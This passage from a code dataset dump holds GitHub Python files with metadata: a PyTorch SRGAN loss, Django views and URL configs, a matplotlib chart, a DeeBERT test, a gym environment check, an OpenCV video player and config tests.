"name"}, {"api_name": "datetime.timedelta", "line_number": 486, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 490, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 490, "usage_type": "name"}, {"api_name": "select.select", "line_number": 491, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 496, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 496, "usage_type": "name"}, {"api_name": "power_sensor.read", "line_number": 504, "usage_type": "call"}, {"api_name": "power_sensor.RecordScale.SECOND", "line_number": 504, "usage_type": "attribute"}, {"api_name": "power_sensor.RecordScale", "line_number": 504, "usage_type": "name"}, {"api_name": "tools.debug", "line_number": 506, "usage_type": "call"}, {"api_name": "power_sensor.RecordScale.SECOND", "line_number": 507, "usage_type": "attribute"}, {"api_name": "power_sensor.RecordScale", "line_number": 507, "usage_type": "name"}, {"api_name": "tools.debug", "line_number": 509, "usage_type": "call"}, {"api_name": "tools.log_exception", "line_number": 514, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 514, "usage_type": "call"}]} {"seq_id": "72863922142", "text": "import torch\nfrom torch import nn\nfrom torchvision.models.vgg import vgg16_bn\n\n\nclass GeneratorLoss(nn.Module):\n def __init__(self):\n super(GeneratorLoss, self).__init__()\n vgg = vgg16_bn(pretrained=False) # 这里使用了预训练的模型 vgg 16\n loss_network = nn.Sequential(*list(vgg.features)[:31]).eval()\n for param in loss_network.parameters():\n param.requires_grad = False\n self.loss_network = loss_network\n self.mse_loss = nn.MSELoss()\n self.tv_loss = TVLoss()\n\n def forward(self, out_labels, out_images, target_images):\n # Adversarial Loss\n adversarial_loss = torch.mean(1 - out_labels)\n # Perception Loss\n perception_loss = self.mse_loss(self.loss_network(out_images), self.loss_network(target_images))\n # Image Loss\n image_loss = self.mse_loss(out_images, target_images)\n # TV Loss\n tv_loss = self.tv_loss(out_images)\n return image_loss + 0.001 * adversarial_loss + 0.006 * perception_loss + 2e-8 * tv_loss\n\n\nclass TVLoss(nn.Module):\n def __init__(self, tv_loss_weight=1):\n super(TVLoss, self).__init__()\n self.tv_loss_weight = tv_loss_weight\n\n def forward(self, x):\n batch_size = x.size()[0]\n h_x = x.size()[2]\n w_x = x.size()[3]\n count_h = self.tensor_size(x[:, :, 1:, :])\n count_w = self.tensor_size(x[:, :, :, 1:])\n h_tv = torch.pow((x[:, :, 1:, :] - x[:, :, :h_x - 1, :]), 2).sum()\n w_tv = torch.pow((x[:, :, :, 1:] - x[:, :, :, :w_x - 1]), 2).sum()\n return self.tv_loss_weight * 2 * (h_tv / count_h + w_tv / count_w) / batch_size\n\n @staticmethod\n def tensor_size(t):\n return t.size()[1] * t.size()[2] * t.size()[3]\n\n\nif __name__ == \"__main__\":\n g_loss = GeneratorLoss()\n print(g_loss)\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/others/SRGAN/loss.py", "file_name": "loss.py", "file_ext": "py", "file_size_in_byte": 1831, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "torchvision.models.vgg.vgg16_bn", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.pow", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 41, "usage_type": "call"}]} {"seq_id": "1826127248", "text": "import json\n\nfrom django.shortcuts import render\nfrom django.http.response import HttpResponse\n\nfrom web.models import Subscribe,Promoter,Feature,VideoBlog,Testimonial,MarketingFeature,Product,Blog,Contact\nfrom web.forms import ContactForm\n\n\ndef index(request):\n promoters = Promoter.objects.all()\n latest_promoters = Promoter.objects.all()[:4]\n features = Feature.objects.all() \n videoblogs = VideoBlog.objects.all()\n testimonials = Testimonial.objects.all()\n marketingfeatures = MarketingFeature.objects.all()\n products = Product.objects.all()\n blogs = Blog.objects.all()\n\n form = ContactForm()\n\n context = {\n \"promoters\" : promoters,\n \"features\" : features,\n \"videoblogs\" : videoblogs,\n \"testimonials\" : testimonials,\n \"marketingfeatures\" : marketingfeatures,\n \"products\" : products,\n \"blogs\" : blogs,\n \"form\" : form,\n \"latest_promoters\" : latest_promoters\n \n }\n return render(request, \"index.html\",context = context)\n\ndef subscribe(request):\n email = request.POST.get(\"email\")\n\n if not Subscribe.objects.filter(email=email).exists():\n\n Subscribe.objects.create(\n email = email\n )\n\n response_data = {\n \"status\" :\"success\",\n \"message\" : \"You subscribed to our newsletter successfully\",\n \"title\" : \"Successfully Registered\"\n }\n else:\n response_data = {\n \"status\" :\"warning\",\n \"message\" : \"You are already a member. No need to register again\",\n \"title\" : \"You are already subscribed.\"\n }\n return HttpResponse(json.dumps(response_data),content_type=\"application/javascript\")\n\n\ndef contact(request):\n form = ContactForm(request.POST)\n if form.is_valid():\n form.save()\n\n response_data = {\n \"status\" :\"success\",\n \"message\" : \"You subscribed to our newsletter successfully\",\n \"title\" : \"Successfully Registered\"\n }\n else:\n response_data = {\n \"status\" :\"warning\",\n \"message\" : \"You are already a member. No need to register again\",\n \"title\" : \"You are already subscribed.\"\n }\n return HttpResponse(json.dumps(response_data),content_type=\"application/javascript\")", "repo_name": "Shiyazshan/wibbitz-django", "sub_path": "web/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2304, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "web.models.Promoter.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "web.models.Promoter.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "web.models.Promoter", "line_number": 11, "usage_type": "name"}, {"api_name": "web.models.Promoter.objects.all", "line_number": 12, "usage_type": "call"}, {"api_name": "web.models.Promoter.objects", "line_number": 12, "usage_type": "attribute"}, {"api_name": "web.models.Promoter", "line_number": 12, "usage_type": "name"}, {"api_name": "web.models.Feature.objects.all", "line_number": 13, "usage_type": "call"}, {"api_name": "web.models.Feature.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "web.models.Feature", "line_number": 13, "usage_type": "name"}, {"api_name": "web.models.VideoBlog.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "web.models.VideoBlog.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "web.models.VideoBlog", "line_number": 14, "usage_type": "name"}, {"api_name": "web.models.Testimonial.objects.all", "line_number": 15, "usage_type": "call"}, {"api_name": "web.models.Testimonial.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "web.models.Testimonial", "line_number": 15, "usage_type": "name"}, {"api_name": "web.models.MarketingFeature.objects.all", "line_number": 16, "usage_type": "call"}, {"api_name": "web.models.MarketingFeature.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "web.models.MarketingFeature", "line_number": 16, "usage_type": "name"}, {"api_name": "web.models.Product.objects.all", "line_number": 17, "usage_type": "call"}, {"api_name": "web.models.Product.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "web.models.Product", "line_number": 17, "usage_type": "name"}, {"api_name": "web.models.Blog.objects.all", "line_number": 18, "usage_type": "call"}, {"api_name": "web.models.Blog.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "web.models.Blog", "line_number": 18, "usage_type": "name"}, {"api_name": "web.forms.ContactForm", "line_number": 20, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "web.models.Subscribe.objects.filter", "line_number": 39, "usage_type": "call"}, {"api_name": "web.models.Subscribe.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "web.models.Subscribe", "line_number": 39, "usage_type": "name"}, {"api_name": "web.models.Subscribe.objects.create", "line_number": 41, "usage_type": "call"}, {"api_name": "web.models.Subscribe.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "web.models.Subscribe", "line_number": 41, "usage_type": "name"}, {"api_name": "django.http.response.HttpResponse", "line_number": 56, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 56, "usage_type": "call"}, {"api_name": "web.forms.ContactForm", "line_number": 60, "usage_type": "call"}, {"api_name": "django.http.response.HttpResponse", "line_number": 75, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 75, "usage_type": "call"}]} {"seq_id": "7944195906", "text": "\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('guide/', views.guide),\n path('prediksi/', include('prediksi_usia.urls')),\n path('results/', include('prediksi_usia.urls')),\n path('', views.index),\n path('index', views.index),\n]\n\nadmin.site.site_header = \"Apreksila Admin Page\"\nadmin.site.site_title = \"Admin Page\"\nadmin.site.index_title = \"Welcome to Admin Page\"", "repo_name": "wisnuyuda012/Apreksila", "sub_path": "apreksila/apreksila/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 481, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 15, "usage_type": "name"}, {"api_name": "django.contrib.admin.site", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 16, "usage_type": "name"}, {"api_name": "django.contrib.admin.site", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 17, "usage_type": "name"}]} {"seq_id": "28355471999", "text": "__author__ = 'daiki'\n\n\nimport matplotlib.pyplot as plt\n\nsubject = [1,2,3,4]#example\ndata = [42.5, 30.7, 6.25, 53]#example\n\nbarWidth = 0.7\nplt.bar(subject, data, width=barWidth, align=\"center\")\nplt.xticks(subject, [\"#1\",\"#2\",\"#3\",\"#4\"])#example\n\nplt.show()\n", "repo_name": "ami-GS/4Research", "sub_path": "barChart.py", "file_name": "barChart.py", "file_ext": "py", "file_size_in_byte": 256, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.bar", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}]} {"seq_id": "71633596383", "text": "from django.contrib.postgres.search import SearchVector\n\nfrom lots.forms import FilterForm\nfrom lots.models import Lot\nfrom users.models import User\n\n\nclass LotsFilter:\n def __init__(self, form: FilterForm):\n self.form = form\n self.filter_by = dict()\n self.lots = None\n self.order_by = self.form.cleaned_data['order_by']\n\n def filtered_lots(self) -> [Lot]:\n self._by_price()\n self._by_author()\n self.lots = Lot.objects.filter(**self.filter_by)\n self._search()\n self._order()\n return self.lots\n\n def _by_author(self):\n if self.form.cleaned_data.get('by_author'):\n author = User.objects.filter(username=self.form.cleaned_data.get('by_author'))\n if author.exists():\n self.filter_by['author'] = author.get()\n\n def _by_price(self):\n\n if (self.form.cleaned_data.get('min_price') and\n self.form.cleaned_data.get('max_price')):\n\n self.filter_by['current_price__lte'] = self.form.cleaned_data.get('max_price')\n self.filter_by['current_price__gte'] = self.form.cleaned_data.get('min_price')\n elif self.form.cleaned_data.get('min_price'):\n self.filter_by['current_price__gte'] = self.form.cleaned_data.get('min_price')\n elif self.form.cleaned_data.get('max_price'):\n self.filter_by['current_price__lte'] = self.form.cleaned_data.get('max_price')\n\n def _order(self):\n if self.lots and self.order_by:\n if self.order_by == 'price_lth':\n self.lots = self.lots.order_by('current_price')\n elif self.order_by == 'price_htl':\n self.lots = self.lots.order_by('-current_price')\n elif self.order_by == 'created_lth':\n self.lots = self.lots.order_by('created_at')\n elif self.order_by == 'created_htl':\n self.lots = self.lots.order_by('-created_at')\n elif self.order_by == 'time_left_lth':\n self.lots = self.lots.order_by('expires_at')\n elif self.order_by == 'time_left_htl':\n self.lots = self.lots.order_by('-expires_at')\n\n def _search(self):\n search_text = self.form.cleaned_data.get('search')\n if search_text:\n self.lots = self.lots.annotate(\n search=SearchVector(\n 'text_description',\n 'heading',\n 'tags',\n 'img_tags__tag_name',\n ),\n ).filter(search=search_text)\n", "repo_name": "Gliger13/auction_site", "sub_path": "auction/lots/lots_filter.py", "file_name": "lots_filter.py", "file_ext": "py", "file_size_in_byte": 2560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lots.forms.FilterForm", "line_number": 9, "usage_type": "name"}, {"api_name": "lots.models.Lot.objects.filter", "line_number": 18, "usage_type": "call"}, {"api_name": "lots.models.Lot.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "lots.models.Lot", "line_number": 18, "usage_type": "name"}, {"api_name": "lots.models.Lot", "line_number": 15, "usage_type": "name"}, {"api_name": "users.models.User.objects.filter", "line_number": 25, "usage_type": "call"}, {"api_name": "users.models.User.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "users.models.User", "line_number": 25, "usage_type": "name"}, {"api_name": "django.contrib.postgres.search.SearchVector", "line_number": 60, "usage_type": "call"}]} {"seq_id": "72857701342", "text": "import argparse\nimport logging\nimport sys\nfrom unittest.mock import patch\n\nimport run_glue_deebert\nfrom transformers.testing_utils import TestCasePlus, get_gpu_count, require_torch_non_multi_gpu, slow\n\n\nlogging.basicConfig(level=logging.DEBUG)\n\nlogger = logging.getLogger()\n\n\ndef get_setup_file():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\")\n args = parser.parse_args()\n return args.f\n\n\nclass DeeBertTests(TestCasePlus):\n def setup(self) -> None:\n stream_handler = logging.StreamHandler(sys.stdout)\n logger.addHandler(stream_handler)\n\n def run_and_check(self, args):\n n_gpu = get_gpu_count()\n\n if n_gpu > 1:\n pass\n # XXX: doesn't quite work with n_gpu > 1 https://github.com/huggingface/transformers/issues/10560\n # script = f\"{self.examples_dir_str}/research_projects/deebert/run_glue_deebert.py\"\n # distributed_args = f\"-m torch.distributed.launch --nproc_per_node={n_gpu} {script}\".split()\n # cmd = [sys.executable] + distributed_args + args\n # execute_subprocess_async(cmd, env=self.get_env())\n # XXX: test the results - need to save them first into .json file\n else:\n args.insert(0, \"run_glue_deebert.py\")\n with patch.object(sys, \"argv\", args):\n result = run_glue_deebert.main()\n for value in result.values():\n self.assertGreaterEqual(value, 0.666)\n\n @slow\n @require_torch_non_multi_gpu\n def test_glue_deebert_train(self):\n\n train_args = \"\"\"\n --model_type roberta\n --model_name_or_path roberta-base\n --task_name MRPC\n --do_train\n --do_eval\n --do_lower_case\n --data_dir ./tests/fixtures/tests_samples/MRPC/\n --max_seq_length 128\n --per_gpu_eval_batch_size=1\n --per_gpu_train_batch_size=8\n --learning_rate 2e-4\n --num_train_epochs 3\n --overwrite_output_dir\n --seed 42\n --output_dir ./examples/deebert/saved_models/roberta-base/MRPC/two_stage\n --plot_data_dir ./examples/deebert/results/\n --save_steps 0\n --overwrite_cache\n --eval_after_first_stage\n \"\"\".split()\n self.run_and_check(train_args)\n\n eval_args = \"\"\"\n --model_type roberta\n --model_name_or_path ./examples/deebert/saved_models/roberta-base/MRPC/two_stage\n --task_name MRPC\n --do_eval\n --do_lower_case\n --data_dir ./tests/fixtures/tests_samples/MRPC/\n --output_dir ./examples/deebert/saved_models/roberta-base/MRPC/two_stage\n --plot_data_dir ./examples/deebert/results/\n --max_seq_length 128\n --eval_each_highway\n --eval_highway\n --overwrite_cache\n --per_gpu_eval_batch_size=1\n \"\"\".split()\n self.run_and_check(eval_args)\n\n entropy_eval_args = \"\"\"\n --model_type roberta\n --model_name_or_path ./examples/deebert/saved_models/roberta-base/MRPC/two_stage\n --task_name MRPC\n --do_eval\n --do_lower_case\n --data_dir ./tests/fixtures/tests_samples/MRPC/\n --output_dir ./examples/deebert/saved_models/roberta-base/MRPC/two_stage\n --plot_data_dir ./examples/deebert/results/\n --max_seq_length 128\n --early_exit_entropy 0.1\n --eval_highway\n --overwrite_cache\n --per_gpu_eval_batch_size=1\n \"\"\".split()\n self.run_and_check(entropy_eval_args)\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/built-in/others/CLIP_for_PyTorch/transformers/examples/research_projects/deebert/test_glue_deebert.py", "file_name": "test_glue_deebert.py", "file_ext": "py", "file_size_in_byte": 3690, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.basicConfig", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 10, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "transformers.testing_utils.TestCasePlus", "line_number": 22, "usage_type": "name"}, {"api_name": "logging.StreamHandler", "line_number": 24, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 24, "usage_type": "attribute"}, {"api_name": "transformers.testing_utils.get_gpu_count", "line_number": 28, "usage_type": "call"}, {"api_name": "unittest.mock.patch.object", "line_number": 40, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 40, "usage_type": "name"}, {"api_name": "run_glue_deebert.main", "line_number": 41, "usage_type": "call"}, {"api_name": "transformers.testing_utils.slow", "line_number": 45, "usage_type": "name"}, {"api_name": "transformers.testing_utils.require_torch_non_multi_gpu", "line_number": 46, "usage_type": "name"}]} {"seq_id": "72736526302", "text": "from uav_gym_env import UAVStallEnv\nfrom stable_baselines3.common.env_checker import check_env\nfrom sim_cmds import SimCmds\n\n# Simulation Parameters\nsim_opt = SimCmds()\nsim_opt.view_sim = False\nsim_opt.sim_real_time = False\nsim_opt.display_graphs = False\nsim_opt.use_kf = False\nsim_opt.wind_gust = False\n\nenv = UAVStallEnv(sim_opt)\n\ncheck_env(env, warn=True, skip_render_check=True)", "repo_name": "VishnuVijay56/IE690_Fall2023_FinalProject", "sub_path": "test_gym_env.py", "file_name": "test_gym_env.py", "file_ext": "py", "file_size_in_byte": 382, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sim_cmds.SimCmds", "line_number": 6, "usage_type": "call"}, {"api_name": "uav_gym_env.UAVStallEnv", "line_number": 13, "usage_type": "call"}, {"api_name": "stable_baselines3.common.env_checker.check_env", "line_number": 15, "usage_type": "call"}]} {"seq_id": "28433576201", "text": "from threading import Thread\nimport cv2\nfrom videoPlayer.Queue import Queue\n\nclass VideoPlayer(object):\n def __init__(self, video_name):\n self.video_name = video_name\n self.frame_count = self.get_frame_count(video_name)\n # Queues\n self.producerQueue = Queue()\n self.consumerQueue = Queue()\n\n def get_frame_count(self, video_name):\n size = cv2.VideoCapture(video_name).get(cv2.CAP_PROP_FRAME_COUNT)\n return int(size)\n\n def start(self):\n #creating threads for extracting, conveting, and displaying\n Thread(target=self.extract_frame).start()\n Thread(target=self.convert_to_grayscale).start()\n Thread(target=self.display).start()\n\n def extract_frame(self):\n # open the video clip\n vid = cv2.VideoCapture(self.video_name)\n\n # read an individual frame\n reading, image = vid.read()\n\n while reading:\n # Frames to producer\n self.producerQueue.put(image)\n reading, image = vid.read()\n\n def convert_to_grayscale(self):\n count = 0\n while count < self.frame_count:\n gray_frame = cv2.cvtColor(self.producerQueue.get(), cv2.COLOR_BGR2GRAY)\n count += 1\n\n # Add Frame to consumer\n self.consumerQueue.put(gray_frame)\n\n def display(self):\n while self.consumerQueue:\n #retrieve frame from consumer\n frame = self.consumerQueue.get()\n # Wait for 42 ms and check if the user wants to quit\n cv2.imshow(\"Video\", frame)\n if cv2.waitKey(42) and 0xFF == ord(\"q\") or self.consumerQueue.empty():\n break\n cv2.destroyAllWindows()\n", "repo_name": "utep-cs-systems-courses/os-video-player-drloyda", "sub_path": "videoPlayer/VideoPlayer.py", "file_name": "VideoPlayer.py", "file_ext": "py", "file_size_in_byte": 1703, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "videoPlayer.Queue.Queue", "line_number": 10, "usage_type": "call"}, {"api_name": "videoPlayer.Queue.Queue", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 14, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 19, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 20, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 38, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 52, "usage_type": "call"}]} {"seq_id": "71570473183", "text": "import importlib\nimport os\nfrom unittest import mock\n\nimport pytest\n\nfrom app import config\n\n\ndef cf_conf():\n os.environ['API_HOST_NAME'] = 'cf'\n\n\n@pytest.fixture\ndef reload_config():\n \"\"\"\n Reset config, by simply re-running config.py from a fresh environment\n \"\"\"\n old_env = os.environ.copy()\n\n yield\n\n os.environ = old_env\n importlib.reload(config)\n\n\ndef test_load_cloudfoundry_config_ignored(monkeypatch, reload_config):\n os.environ['API_HOST_NAME'] = 'env'\n monkeypatch.setenv('VCAP_APPLICATION', 'some json blob')\n\n with mock.patch('app.cloudfoundry_config.extract_cloudfoundry_config', side_effect=cf_conf) as cf_config:\n # reload config so that its module level code (ie: all of it) is re-instantiated\n importlib.reload(config)\n\n assert not cf_config.called\n\n assert os.environ['API_HOST_NAME'] == 'env'\n assert config.Config.API_HOST_NAME == 'env'\n\n\ndef test_load_config_if_cloudfoundry_not_available(monkeypatch, reload_config):\n os.environ['API_HOST_NAME'] = 'env'\n\n monkeypatch.delenv('VCAP_APPLICATION', raising=False)\n\n with mock.patch('app.cloudfoundry_config.extract_cloudfoundry_config') as cf_config:\n # reload config so that its module level code (ie: all of it) is re-instantiated\n importlib.reload(config)\n\n assert not cf_config.called\n\n assert os.environ['API_HOST_NAME'] == 'env'\n assert config.Config.API_HOST_NAME == 'env'\n", "repo_name": "govau/notify", "sub_path": "admin/tests/app/test_config.py", "file_name": "test_config.py", "file_ext": "py", "file_size_in_byte": 1435, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.environ.copy", "line_number": 19, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "importlib.reload", "line_number": 24, "usage_type": "call"}, {"api_name": "app.config", "line_number": 24, "usage_type": "argument"}, {"api_name": "pytest.fixture", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch", "line_number": 31, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 31, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 33, "usage_type": "call"}, {"api_name": "app.config", "line_number": 33, "usage_type": "argument"}, {"api_name": "os.environ", "line_number": 37, "usage_type": "attribute"}, {"api_name": "app.config.Config", "line_number": 38, "usage_type": "attribute"}, {"api_name": "app.config", "line_number": 38, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 42, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch", "line_number": 46, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 46, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 48, "usage_type": "call"}, {"api_name": "app.config", "line_number": 48, "usage_type": "argument"}, {"api_name": "os.environ", "line_number": 52, "usage_type": "attribute"}, {"api_name": "app.config.Config", "line_number": 53, "usage_type": "attribute"}, {"api_name": "app.config", "line_number": 53, "usage_type": "name"}]} {"seq_id": "40796598320", "text": "import json\n\nfrom django.core.paginator import Paginator\nfrom django.http import JsonResponse\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import ListView, CreateView, DetailView, UpdateView, DeleteView\n\nfrom HomeWork_28 import settings\nfrom ads.models import Category\n\n\nclass CategoryListView(ListView):\n model = Category\n\n def get(self, request, *args, **kwargs):\n super().get(request, *args, **kwargs)\n\n self.object_list = self.object_list.order_by('name')\n\n paginator = Paginator(self.object_list, settings.TOTAL_ON_PAGE)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n\n all_categories = []\n for cat in page_obj:\n all_categories.append({\n \"id\": cat.id,\n \"name\": cat.name,\n })\n\n response = {\n \"items\": all_categories,\n \"num_pages\": page_obj.paginator.num_pages,\n \"total\": page_obj.paginator.count,\n }\n\n return JsonResponse(response, safe=False)\n\n\n@method_decorator(csrf_exempt, name=\"dispatch\")\nclass CategoryCreateView(CreateView):\n model = Category\n fields = ['name']\n\n def post(self, request, *args, **kwargs):\n category_data = json.loads(request.body)\n\n cat = Category.objects.create(**category_data)\n\n return JsonResponse({\n \"id\": cat.id,\n \"name\": cat.name\n })\n\n\nclass CategoryDetailView(DetailView):\n model = Category\n\n def get(self, request, *args, **kwargs):\n try:\n cat = self.get_object()\n except:\n return JsonResponse({\"error\": \"not found\"}, status=404)\n\n return JsonResponse({\n \"id\": cat.id,\n \"name\": cat.name,\n })\n\n@method_decorator(csrf_exempt, name=\"dispatch\")\nclass CategoryUpdateView(UpdateView):\n model = Category\n fields = ['name']\n\n def post(self, request, *args, **kwargs):\n super().post(request, *args, **kwargs)\n\n category_data = json.loads(request.body)\n\n self.object.name = category_data[\"name\"]\n\n self.object.save()\n\n return JsonResponse({\n \"id\": self.object.id,\n \"name\": self.object.name,\n })\n\n@method_decorator(csrf_exempt, name=\"dispatch\")\nclass CategoryDeleteView(DeleteView):\n model = Category\n success_url = '/'\n\n def delete(self, request, *args, **kwargs):\n super().delete(request, *args, **kwargs)\n\n return JsonResponse({\"status\": \"ok\"}, status=200)\n\n", "repo_name": "Maurdihen/HomeWork_28", "sub_path": "ads/views/views_categories.py", "file_name": "views_categories.py", "file_ext": "py", "file_size_in_byte": 2604, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.views.generic.ListView", "line_number": 13, "usage_type": "name"}, {"api_name": "ads.models.Category", "line_number": 14, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 21, "usage_type": "call"}, {"api_name": "HomeWork_28.settings.TOTAL_ON_PAGE", "line_number": 21, "usage_type": "attribute"}, {"api_name": "HomeWork_28.settings", "line_number": 21, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 38, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 42, "usage_type": "name"}, {"api_name": "ads.models.Category", "line_number": 43, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 47, "usage_type": "call"}, {"api_name": "ads.models.Category.objects.create", "line_number": 49, "usage_type": "call"}, {"api_name": "ads.models.Category.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "ads.models.Category", "line_number": 49, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 51, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 41, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 41, "usage_type": "argument"}, {"api_name": "django.views.generic.DetailView", "line_number": 57, "usage_type": "name"}, {"api_name": "ads.models.Category", "line_number": 58, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 64, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 66, "usage_type": "call"}, {"api_name": "django.views.generic.UpdateView", "line_number": 72, "usage_type": "name"}, {"api_name": "ads.models.Category", "line_number": 73, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 79, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 85, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 71, "usage_type": "call"}, {"api_name": 